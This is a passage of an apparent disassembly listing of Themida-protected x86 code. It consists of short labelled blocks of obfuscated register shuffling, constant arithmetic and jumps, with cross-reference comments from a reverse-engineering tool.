loc_56DD9C:				; CODE XREF: Themida_:0056E90Cj
		add	ebp, 103D09A6h
		push	ebx
		mov	ebx, 5DAB6DB7h
		add	ebp, ebx
		pop	ebx
		add	ebp, 65ABA96Dh
		jmp	loc_5629F2
; ---------------------------------------------------------------------------


loc_56DDB6:				; CODE XREF: Themida_:00569670j
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5721E4
; ---------------------------------------------------------------------------


loc_56DDC6:				; CODE XREF: Themida_:00565336j
		pop	edi
		xchg	edx, [esp]
		jmp	loc_5660EE
; ---------------------------------------------------------------------------


loc_56DDCF:				; CODE XREF: Themida_:00560648j
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	ecx
		jmp	loc_56A520
; ---------------------------------------------------------------------------


loc_56DDE0:				; CODE XREF: Themida_:0056B55Cj
		add	ecx, 4
		jmp	loc_56C465
; ---------------------------------------------------------------------------


loc_56DDEB:				; CODE XREF: Themida_:00568B61j
		pop	ebp
		xor	eax, 6E323D85h
		jmp	loc_56B4A2
; ---------------------------------------------------------------------------


loc_56DDF6:				; CODE XREF: Themida_:0056037Ej
		pop	ebx
		add	esp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 8412D84h
		shl	esi, 8
		not	esi
		push	ecx
		jmp	loc_564BEB
; ---------------------------------------------------------------------------


loc_56DE1F:				; CODE XREF: Themida_:00569F10j
		push	edi
		push	ebx
		mov	ebx, 670725C9h
		neg	ebx
		push	edi
		mov	edi, 5C1A60C8h
		xor	ebx, edi
		pop	edi
		jmp	loc_56869B
; ---------------------------------------------------------------------------


loc_56DE36:				; CODE XREF: Themida_:00568444j
		add	esp, 4
		sub	edx, 584F2827h
		add	edx, 4DDE5839h
		add	ecx, 77713F47h
		add	ecx, 76882823h
		add	ecx, edx
		sub	ecx, 76882823h
		jmp	loc_5723AD
; ---------------------------------------------------------------------------


loc_56DE61:				; CODE XREF: Themida_:00571F61j
		add	edi, esi
		pop	esi
		jmp	loc_5711D4
; ---------------------------------------------------------------------------


loc_56DE69:				; CODE XREF: Themida_:0056562Bj
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56C7F9
; ---------------------------------------------------------------------------


loc_56DE79:				; CODE XREF: Themida_:0056A1AFj
		push	ebx
		mov	ebx, 561F58F4h
		neg	ebx
		shr	ebx, 1
		jmp	loc_569D82
; ---------------------------------------------------------------------------


loc_56DE88:				; CODE XREF: Themida_:0055ED9Bj
		mov	ebx, 631B5371h
		add	eax, ebx
		pop	ebx
		jmp	loc_561B57
; ---------------------------------------------------------------------------


loc_56DE95:				; CODE XREF: Themida_:0056D855j
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_56F090
; ---------------------------------------------------------------------------


loc_56DEAB:				; CODE XREF: Themida_:00570B2Ej
		sub	edx, 4528760Dh
		pop	edi
		xor	edx, [esp]
		jmp	loc_56143C
; ---------------------------------------------------------------------------


loc_56DEBA:				; CODE XREF: Themida_:00561FF1j
		xor	cl, bh
		pop	ebx
		jmp	loc_56291A
; ---------------------------------------------------------------------------


loc_56DEC2:				; CODE XREF: Themida_:0056EBFDj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56EC8E
; ---------------------------------------------------------------------------


loc_56DED1:				; CODE XREF: Themida_:0056E395j
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_560278
; ---------------------------------------------------------------------------


loc_56DEDA:				; CODE XREF: Themida_:0056ADC4j
		push	ebx
		mov	bh, 87h
		add	bh, 13h
		push	ecx
		mov	ch, 45h
		jmp	loc_56C761
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56DEE8:				; CODE XREF: sub_562A0A+2144j
		mov	cl, 49h
		sub	cl, 7
		sub	cl, 0D9h
		push	2E13h
		mov	[esp+8+var_8], eax
		mov	ah, 0BCh
		shr	ah, 7
		not	ah
		jmp	loc_56C847
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_56DF04:				; CODE XREF: Themida_:0056F7C0j
		add	ecx, ebp
		jmp	loc_55F3E8
; ---------------------------------------------------------------------------


loc_56DF0B:				; CODE XREF: Themida_:00571C2Bj
		mov	[esp], ebp
		push	4DD732A0h
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 56333CF3h
		add	ebp, 1
		not	ebp
		push	edi
		push	esi
		mov	esi, 0DB01D98Dh
		mov	edi, esi
		jmp	loc_566AF7
; ---------------------------------------------------------------------------


loc_56DF35:				; CODE XREF: Themida_:00570436j
		and	edi, 1AD10029h
		jmp	loc_56FB9F
; ---------------------------------------------------------------------------


loc_56DF40:				; CODE XREF: Themida_:005626B6j
		push	edx
		jmp	loc_564DAC
; ---------------------------------------------------------------------------


loc_56DF46:				; CODE XREF: Themida_:0056F4FFj
		mov	bl, 34h
		xor	bl, ah
		pop	eax
		mov	cl, bl
		pop	ebx
		jmp	loc_56B9E2
; ---------------------------------------------------------------------------


loc_56DF53:				; CODE XREF: Themida_:005706B1j
		add	esp, 4
		jmp	loc_56FBF3
; ---------------------------------------------------------------------------


loc_56DF5E:				; CODE XREF: Themida_:0056E2F3j
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_572119
; ---------------------------------------------------------------------------


loc_56DF68:				; CODE XREF: Themida_:005704CDj
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_570848
; ---------------------------------------------------------------------------


loc_56DF73:				; CODE XREF: Themida_:0055FD9Fj
		pop	esi
		push	ebp
		xor	dword ptr [esp], 202B7A80h
		pop	edi
		xor	edi, 202B7A80h
		pop	ebp
		add	ebx, edi
		jmp	loc_5646DE
; ---------------------------------------------------------------------------


loc_56DF8B:				; CODE XREF: Themida_:005666FEj
		sub	eax, 3289031Bh
		sub	eax, 0E4342E7h
		sub	eax, 0C31D2BCCh
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		add	bl, 4Eh
		push	ecx
		mov	cl, 0A4h
		add	bl, 7Ch
		add	bl, 0E0h
		jmp	loc_55D3D1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7642h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 765A49A5h
		jmp	loc_56BB73
; ---------------------------------------------------------------------------


loc_56DFD1:				; CODE XREF: Themida_:0056EE40j
		sub	ecx, 3933B77h
		sub	ecx, edx
		add	ecx, 3933B77h
		pop	edx
		add	ebp, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_56FB3C
; ---------------------------------------------------------------------------


loc_56DFEB:				; CODE XREF: Themida_:0056EE6Bj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_566108
; ---------------------------------------------------------------------------


loc_56E007:				; CODE XREF: Themida_:005707E4j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	6A536116h
		jmp	loc_567303
; ---------------------------------------------------------------------------


loc_56E01C:				; CODE XREF: Themida_:00560273j
		pop	esi
		push	ecx
		jmp	loc_569582
; ---------------------------------------------------------------------------


loc_56E023:				; CODE XREF: Themida_:0056D549j
		sub	al, 6Bh
		jmp	loc_565003
; ---------------------------------------------------------------------------


loc_56E02A:				; CODE XREF: Themida_:005629A7j
		or	ebp, 281C5059h
		xor	ebp, 26882FC6h
		push	ecx
		mov	ecx, 599105DCh
		shr	ecx, 8
		xor	ecx, 5F4A0DC8h
		shr	ecx, 2
		xor	ecx, 0B72B22Ah
		sub	ebp, ecx
		jmp	loc_56627D
; ---------------------------------------------------------------------------


loc_56E055:				; CODE XREF: Themida_:00567C0Cj
		mov	[esp], eax
		jmp	loc_568821
; ---------------------------------------------------------------------------


loc_56E05D:				; CODE XREF: Themida_:0056577Dj
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56E067:				; CODE XREF: Themida_:00571908j
		sub	esp, 4
		jmp	loc_561510
; ---------------------------------------------------------------------------


loc_56E072:				; CODE XREF: Themida_:00569C63j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_563910
; ---------------------------------------------------------------------------


loc_56E080:				; CODE XREF: Themida_:005680B0j
		inc	edx
		inc	edx
		sub	edx, 3CE55387h
		dec	edx
		jmp	loc_56591E
; ---------------------------------------------------------------------------


loc_56E08E:				; CODE XREF: Themida_:0055E066j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	bl, al
		sub	bl, 0A4h
		sub	bl, 4Eh
		add	bl, 74h
		push	ebp
		push	esi
		push	563F01ABh
		jmp	loc_56EE1D
; ---------------------------------------------------------------------------


loc_56E0B3:				; CODE XREF: Themida_:005606ADj
		not	ecx
		jmp	loc_56054C
; ---------------------------------------------------------------------------


loc_56E0BA:				; CODE XREF: Themida_:005688A4j
		mov	[esp], ebp
		push	ebp
		push	42BDh
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		jmp	loc_567AE7
; ---------------------------------------------------------------------------


loc_56E0D1:				; CODE XREF: Themida_:0056B808j
		push	543Bh
		mov	[esp], esi
		push	ecx
		push	edx
		mov	edx, 1510982h
		mov	ecx, 0A2772C3h
		jmp	loc_564B14
; ---------------------------------------------------------------------------


loc_56E0EA:				; CODE XREF: Themida_:00568B45j
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D119
; ---------------------------------------------------------------------------


loc_56E103:				; CODE XREF: Themida_:0056635Aj
		not	edx
		add	edx, 0FFFFFFFFh
		inc	edx
		sub	edx, 7F369058h
		mov	ebx, edx
		jmp	loc_56ED61
; ---------------------------------------------------------------------------


loc_56E119:				; CODE XREF: Themida_:005646FDj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55DCC0
; ---------------------------------------------------------------------------


loc_56E125:				; CODE XREF: Themida_:00562086j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56876F
; ---------------------------------------------------------------------------


loc_56E12E:				; CODE XREF: Themida_:0056B189j
		mov	[esp], esp
		push	ecx
		mov	ecx, 633065D1h
		jmp	loc_5650F7
; ---------------------------------------------------------------------------


loc_56E13C:				; CODE XREF: Themida_:005674DEj
		sub	al, 51h
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 69h
		and	ch, 0DDh
		jmp	loc_56196C
; ---------------------------------------------------------------------------


loc_56E151:				; CODE XREF: Themida_:0055E6DDj
		shr	ecx, 7
		add	ecx, 0FF0AD137h
		jmp	loc_5668D1
; ---------------------------------------------------------------------------


loc_56E15F:				; CODE XREF: Themida_:00563EC9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		push	3BE4h
		jmp	loc_55DFD8
; ---------------------------------------------------------------------------


loc_56E192:				; CODE XREF: Themida_:0056EAE6j
		bts	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56E19D:				; CODE XREF: Themida_:00567604j
		add	esi, 4
		jmp	loc_55D31E
; ---------------------------------------------------------------------------


loc_56E1A8:				; CODE XREF: Themida_:0056213Aj
		sub	edx, ecx
		add	edx, 5A877A1h
		mov	ecx, [esp]
		jmp	loc_55FBBA
; ---------------------------------------------------------------------------


loc_56E1B8:				; CODE XREF: Themida_:005671F4j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56CE37
; ---------------------------------------------------------------------------


loc_56E1C9:				; CODE XREF: Themida_:00571D42j
		not	ecx
		xchg	ecx, edi
		jmp	loc_560AB7
; ---------------------------------------------------------------------------


loc_56E1D2:				; CODE XREF: Themida_:0056E899j
		push	ebp
		mov	ebp, 4
		add	edx, 25163A13h
		sub	edx, 4F7D3462h
		sub	edx, ebp
		jmp	loc_561910
; ---------------------------------------------------------------------------


loc_56E1EB:				; CODE XREF: Themida_:0056F538j
		dec	ebp
		not	ebp
		shl	ebp, 7
		inc	ebp
		add	ebp, 8893DB03h
		jmp	loc_55E75F
; ---------------------------------------------------------------------------


loc_56E1FD:				; CODE XREF: Themida_:0055D596j
		push	esi
		jmp	loc_571454
; ---------------------------------------------------------------------------


loc_56E203:				; CODE XREF: Themida_:00568F4Ej
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_56D9FF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0A053C89h
		push	edi
		mov	edi, 0AE42964h
		sub	edi, 0BF658CAh
		sub	edi, 0F4E89415h
		sub	esi, edi
		pop	edi
		sub	ebp, 0EE56F69h
		add	ebp, esi
		add	ebp, 0EE56F69h
		pop	esi
		jmp	loc_560DC0
; ---------------------------------------------------------------------------


loc_56E255:				; CODE XREF: Themida_:005605D7j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		push	891h
		mov	[esp], ebx
		mov	ebx, 41A61E73h
		jmp	loc_5709EC
; ---------------------------------------------------------------------------


loc_56E26D:				; CODE XREF: Themida_:00561C83j
		not	dword ptr [esp]
		jmp	loc_56F9C9
; ---------------------------------------------------------------------------


loc_56E275:				; CODE XREF: Themida_:00566018j
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		sub	ebp, 9E8CBA1Ch
		sub	ebx, 462144CEh
		push	edi
		mov	edi, 59E2377Eh
		and	edi, 70D57369h
		xor	edi, 40A32A1Eh
		add	ebx, edi
		jmp	loc_56E35D
; ---------------------------------------------------------------------------


loc_56E2A0:				; CODE XREF: Themida_:0055D695j
		add	eax, ebx
		add	eax, 58E82A00h
		jmp	loc_55D4FB
; ---------------------------------------------------------------------------


loc_56E2AC:				; CODE XREF: Themida_:0056E9F8j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 462144CEh
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_567AF8
; ---------------------------------------------------------------------------


loc_56E2CE:				; CODE XREF: Themida_:00562EF4j
		pop	ebx
		add	al, dl
		sub	al, 0CEh
		jmp	loc_56AC0D
; ---------------------------------------------------------------------------


loc_56E2D8:				; CODE XREF: Themida_:005654F1j
		shr	esi, 1
		neg	esi
		add	esi, 38EED180h
		and	edx, esi
		pop	esi
		jmp	loc_566575
; ---------------------------------------------------------------------------


loc_56E2EA:				; CODE XREF: Themida_:0056CF0Cj
		add	ecx, 0FFFFFFFFh
		sub	ecx, 1F17529Ch
		jmp	loc_56DF5E
; ---------------------------------------------------------------------------


loc_56E2F8:				; CODE XREF: Themida_:005635E7j
		mov	cl, 0DCh
		shr	cl, 6
		shl	cl, 6
		sub	cl, 1
		jmp	loc_55F8FA
; ---------------------------------------------------------------------------


loc_56E308:				; CODE XREF: Themida_:005664C1j
		mov	esp, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, al
		mov	bl, dh
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		sub	edx, 4F5201B6h
		jmp	loc_55D543
; ---------------------------------------------------------------------------


loc_56E331:				; CODE XREF: Themida_:005616B5j
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		push	1588h
		mov	[esp], eax
		jmp	loc_5632A1
; ---------------------------------------------------------------------------


loc_56E35D:				; CODE XREF: Themida_:0056E29Bj
		pop	edi
		add	ebx, ebp
		push	ebp
		jmp	loc_56BB55
; ---------------------------------------------------------------------------


loc_56E366:				; CODE XREF: Themida_:005698F0j
		neg	ebx
		not	ebx
		push	esi
		jmp	loc_55EE8A
; ---------------------------------------------------------------------------


loc_56E370:				; CODE XREF: Themida_:0055DA91j
		mov	dl, 0E9h
		push	ecx
		sub	esp, 4
		jmp	loc_570CCE
; ---------------------------------------------------------------------------


loc_56E37B:				; CODE XREF: Themida_:005633D1j
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		xor	ebp, 0F137FDA1h
		add	ebx, ebp
		pop	ebp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_56DED1
; ---------------------------------------------------------------------------


loc_56E39A:				; CODE XREF: Themida_:005683CAj
		pop	edx
		sub	dword ptr [esp+4], 5BD55E20h
		push	ecx
		mov	ecx, 71E705C9h
		sub	dword ptr [esp+8], 0FAA0016h
		add	[esp+8], ecx
		add	dword ptr [esp+8], 0FAA0016h
		jmp	loc_568286
; ---------------------------------------------------------------------------


loc_56E3C2:				; CODE XREF: Themida_:0056373Bj
		pop	edi
		xor	eax, esi
		pop	esi
		push	esi
		mov	esi, 6747A630h
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_5673A9
; ---------------------------------------------------------------------------


loc_56E3D6:				; CODE XREF: Themida_:0056BD13j
		push	edi
		jmp	loc_565996
; ---------------------------------------------------------------------------


loc_56E3DC:				; CODE XREF: Themida_:0056B3D7j
		push	eax
		mov	eax, 7351016Eh
		shl	eax, 3
		xor	eax, 0FFF713F2h
		xor	ebx, eax
		pop	eax
		shr	ebx, 7
		dec	ebx
		jmp	loc_56241C
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		push	esi
		mov	esi, 1DDF2328h
		mov	ecx, 0E314045h
		add	ecx, 32130ABBh
		add	ecx, esi
		jmp	loc_5670EB
; ---------------------------------------------------------------------------


loc_56E410:				; CODE XREF: Themida_:0056A3A3j
		pop	esp
		jmp	loc_561435
; ---------------------------------------------------------------------------


loc_56E416:				; CODE XREF: Themida_:00565111j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		jmp	loc_569EF2
; ---------------------------------------------------------------------------


loc_56E429:				; CODE XREF: Themida_:00567B3Aj
		push	esp
		pop	ebx
		jmp	loc_568BB6
; ---------------------------------------------------------------------------


loc_56E430:				; CODE XREF: Themida_:005657F3j
		sub	dword ptr [esp+4], 45B04FB4h
		sub	dword ptr [esp+4], 31B10174h
		jmp	loc_572356
; ---------------------------------------------------------------------------


loc_56E445:				; CODE XREF: Themida_:0055E513j
		pop	eax
		jmp	loc_560F48
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 4
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	3456h
		mov	[esp], eax
		push	ebp
		push	eax
		mov	eax, 47A66E27h
		shl	eax, 4
		and	eax, 6CF80ACAh
		not	eax
		xor	eax, 0EBC9FCFDh
		push	edx
		mov	edx, eax
		mov	ebp, edx
		pop	edx
		pop	eax
		xor	ebp, 362249B4h
		shl	ebp, 2
		push	ebx
		mov	ebx, 47272C9Bh
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5695DA
; ---------------------------------------------------------------------------


loc_56E495:				; CODE XREF: Themida_:0056E51Ej
		shr	ecx, 3
		jmp	loc_56EF89
; ---------------------------------------------------------------------------


loc_56E49D:				; CODE XREF: Themida_:005648EEj
		mov	[esp], ebx
		push	7F50h
		push	0B1h
		jmp	loc_56ABDA
; ---------------------------------------------------------------------------


loc_56E4AF:				; CODE XREF: Themida_:0056C9E4j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55FBE9
; ---------------------------------------------------------------------------


loc_56E4BD:				; CODE XREF: Themida_:00566656j
		push	dword ptr [esp]
		jmp	loc_56AEB8
; ---------------------------------------------------------------------------


loc_56E4C5:				; CODE XREF: Themida_:0056D122j
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		pop	ecx
		or	ch, bh
		mov	ebx, [esp]
		push	52B3h
		jmp	loc_56A4EC
; ---------------------------------------------------------------------------


loc_56E4DF:				; CODE XREF: Themida_:005682D7j
		mov	edx, 13BF6A77h
		jmp	loc_5659B7
; ---------------------------------------------------------------------------


loc_56E4E9:				; CODE XREF: Themida_:00564030j
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	5EEh
		mov	[esp], ecx
		mov	ecx, 0
		push	esi
		mov	esi, 6289714Eh
		xor	esi, 37C80820h
		jmp	loc_56737C
; ---------------------------------------------------------------------------


loc_56E50E:				; CODE XREF: Themida_:005670FBj
		add	edx, edi
		pop	edi
		push	esi
		push	756D7991h
		pop	esi
		push	ecx
		mov	ecx, 0B50A6Dh
		jmp	loc_56E495
; ---------------------------------------------------------------------------


loc_56E523:				; CODE XREF: Themida_:005682AAj
		sub	bl, al
		push	449Dh
		mov	[esp], edx
		push	eax
		mov	ah, 40h
		mov	dl, ah
		pop	eax
		shl	dl, 1
		push	cx
		mov	cl, 41h
		jmp	loc_5688FB
; ---------------------------------------------------------------------------


loc_56E53E:				; CODE XREF: Themida_:005659D4j
		mov	ch, 9Fh
		add	bh, ch
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_56F340
; ---------------------------------------------------------------------------


loc_56E54D:				; CODE XREF: Themida_:00563A62j
		neg	esi
		or	esi, 1E2622A6h
		add	esi, 880809h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 77A3473Fh
		push	edi
		pop	ecx
		pop	edi
		shr	ecx, 6
		push	edx
		mov	edx, 74580C41h
		neg	edx
		jmp	loc_5604E9
; ---------------------------------------------------------------------------


loc_56E580:				; CODE XREF: Themida_:0056C4C0j
		mov	esi, edx
		pop	edx
		sub	esi, 3E701BB5h
		xor	esi, 0E799DF08h
		jmp	loc_56FF0B
; ---------------------------------------------------------------------------


loc_56E594:				; CODE XREF: Themida_:00564D21j
		shr	edi, 3
		jmp	loc_572227
; ---------------------------------------------------------------------------


loc_56E59C:				; CODE XREF: Themida_:0056A83Fj
		mov	dh, bl
		pop	ebx
		xchg	dh, al
		xchg	al, cl
		xor	bl, cl
		xor	cl, bl
		xor	bl, cl
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, bl
		push	4E34h
		mov	[esp], ebx
		mov	bl, dh
		mov	cl, bl
		jmp	loc_56A9AC
; ---------------------------------------------------------------------------


loc_56E5C3:				; CODE XREF: Themida_:00562429j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 49D14CFCh
		and	ebp, 27F01C1Bh
		push	eax
		mov	eax, 13A50E27h
		add	ebp, 26254DC6h
		jmp	loc_572176
; ---------------------------------------------------------------------------


loc_56E5E5:				; CODE XREF: Themida_:00562F05j
		mov	esp, [esp]
		push	ebp
		jmp	loc_55DF95
; ---------------------------------------------------------------------------


loc_56E5EE:				; CODE XREF: Themida_:0056D5D4j
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_56DCEB
; ---------------------------------------------------------------------------


loc_56E5FB:				; CODE XREF: Themida_:00561C44j
		sub	esi, 1
		jmp	loc_571C6F
; ---------------------------------------------------------------------------


loc_56E603:				; CODE XREF: Themida_:0055F919j
		mov	al, dh
		pop	edx
		push	edx
		jmp	loc_56EB1B
; ---------------------------------------------------------------------------


loc_56E60C:				; CODE XREF: Themida_:00568434j
		add	ebx, 23EF4B50h
		inc	ebx
		jmp	loc_5692AE
; ---------------------------------------------------------------------------


loc_56E618:				; CODE XREF: Themida_:0055F54Cj
		mov	edx, [esp]
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_56E620:				; CODE XREF: Themida_:0055F299j
		shl	cl, 3
		shl	cl, 1
		neg	cl
		shr	cl, 8
		xor	cl, 0C4h
		sub	cl, 0C0h
		sub	cl, ah
		add	cl, 0C0h
		pop	eax
		shl	cl, 7
		or	cl, 0FBh
		and	cl, 46h
		inc	cl
		shr	cl, 7
		add	cl, 0D1h
		neg	cl
		add	cl, 41h
		push	ebx
		mov	bh, 7Dh
		inc	bh
		dec	bh
		jmp	loc_56FAA2
; ---------------------------------------------------------------------------


loc_56E658:				; CODE XREF: Themida_:00561F8Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 972B1916h
		push	edx
		mov	edx, 78807878h
		jmp	loc_566909
; ---------------------------------------------------------------------------


loc_56E679:				; CODE XREF: Themida_:0056D148j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		not	edi
		shr	edi, 6
		sub	edi, 1
		push	727Ch
		mov	[esp], eax
		mov	eax, 15FE7A83h
		jmp	loc_5721C2
; ---------------------------------------------------------------------------


loc_56E698:				; CODE XREF: Themida_:0056CCC3j
		mov	eax, 3C5B45C3h
		xor	eax, 1261AE8h
		add	ebp, eax
		pop	eax
		jmp	loc_563F17
; ---------------------------------------------------------------------------


loc_56E6AA:				; CODE XREF: Themida_:0056DA19j
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	5C62h
		mov	[esp], edx
		jmp	loc_56F5B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571676


loc_56E6C3:				; CODE XREF: sub_571676+3j
		mov	[esp+0], edx
		jmp	sub_55DEE3
; END OF FUNCTION CHUNK	FOR sub_571676
; ---------------------------------------------------------------------------


loc_56E6CB:				; CODE XREF: Themida_:00571FA7j
		mov	ebp, 40C84C97h
		not	ebp
		sub	ebp, 5D3799FAh
		jmp	loc_570AC5
; ---------------------------------------------------------------------------


loc_56E6DD:				; CODE XREF: Themida_:00565C3Bj
		sub	edi, 248F47E2h
		push	esi
		mov	esi, 68F646BBh
		or	esi, 7AF3330Bh
		add	esi, 9CF0AB3Eh
		add	edi, esi
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_55D929
; ---------------------------------------------------------------------------


loc_56E704:				; CODE XREF: Themida_:0056D519j
		mov	edi, [esp]
		jmp	loc_56426B
; ---------------------------------------------------------------------------


loc_56E70C:				; CODE XREF: Themida_:0056C8F4j
		add	dl, 20h
		xor	ch, dl
		pop	edx
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_569695
; ---------------------------------------------------------------------------


loc_56E720:				; CODE XREF: Themida_:00569E75j
		pop	eax
		shl	eax, 5
		xor	eax, 0DEC6EDDh
		or	eax, 4A8F7E55h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5AD36CAFh
		xor	ebx, 0C8A3D611h
		sub	eax, ebx
		jmp	loc_562F36
; ---------------------------------------------------------------------------


loc_56E749:				; CODE XREF: Themida_:0056B841j
		add	edx, edi
		sub	edx, 46FC75C5h
		add	edx, 42AB6C9Fh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56961A
; ---------------------------------------------------------------------------


loc_56E76A:				; CODE XREF: Themida_:00569352j
		add	edx, 4
		jmp	loc_5729EC
; ---------------------------------------------------------------------------


loc_56E775:				; CODE XREF: Themida_:0056C7E0j
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D8CA
; ---------------------------------------------------------------------------


loc_56E787:				; CODE XREF: Themida_:005609A3j
		mov	esi, [esp]
		add	esp, 4


loc_56E78D:				; CODE XREF: Themida_:0057120Cj
		push	46C4h
		jmp	loc_566D4E
; ---------------------------------------------------------------------------


loc_56E797:				; CODE XREF: Themida_:0055F3B3j
		pop	eax
		add	edi, ecx
		add	edi, 60DD1DD9h
		jmp	loc_571A63
; ---------------------------------------------------------------------------


loc_56E7A5:				; CODE XREF: Themida_:00564A65j
		add	esp, 4
		add	eax, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55F573
; ---------------------------------------------------------------------------


loc_56E7C1:				; CODE XREF: Themida_:0055D635j
		push	ecx
		push	ebp
		push	edi
		push	ecx
		mov	ecx, 27B565D1h
		shl	ecx, 5
		jmp	loc_566E41
; ---------------------------------------------------------------------------


loc_56E7D2:				; CODE XREF: Themida_:00571E6Cj
		mov	ebp, 3F3B000Dh
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_56839C
; ---------------------------------------------------------------------------


loc_56E7E1:				; CODE XREF: Themida_:00569245j
		pop	di
		shr	dx, 6
		jmp	loc_565650
; ---------------------------------------------------------------------------


loc_56E7EC:				; CODE XREF: Themida_:0056425Bj
		pop	esp
		add	ebx, 1FBC5A7Dh
		add	ebx, eax
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	41A4490Eh
		pop	edi
		xor	edi, 24973A30h
		mov	eax, edi
		pop	edi
		push	edi
		mov	edi, 37022956h
		shr	edi, 1
		sub	edi, 0F89F9E2Dh
		jmp	loc_562F74
; ---------------------------------------------------------------------------


loc_56E81E:				; CODE XREF: Themida_:005701C5j
		pop	ebp
		jmp	loc_564AA5
; ---------------------------------------------------------------------------


loc_56E824:				; CODE XREF: Themida_:00565FB3j
		push	ebx
		jmp	loc_55F0AA
; ---------------------------------------------------------------------------


loc_56E82A:				; CODE XREF: Themida_:0056704Cj
		pop	edx
		add	esp, 4
		jmp	loc_55DA9C
; ---------------------------------------------------------------------------


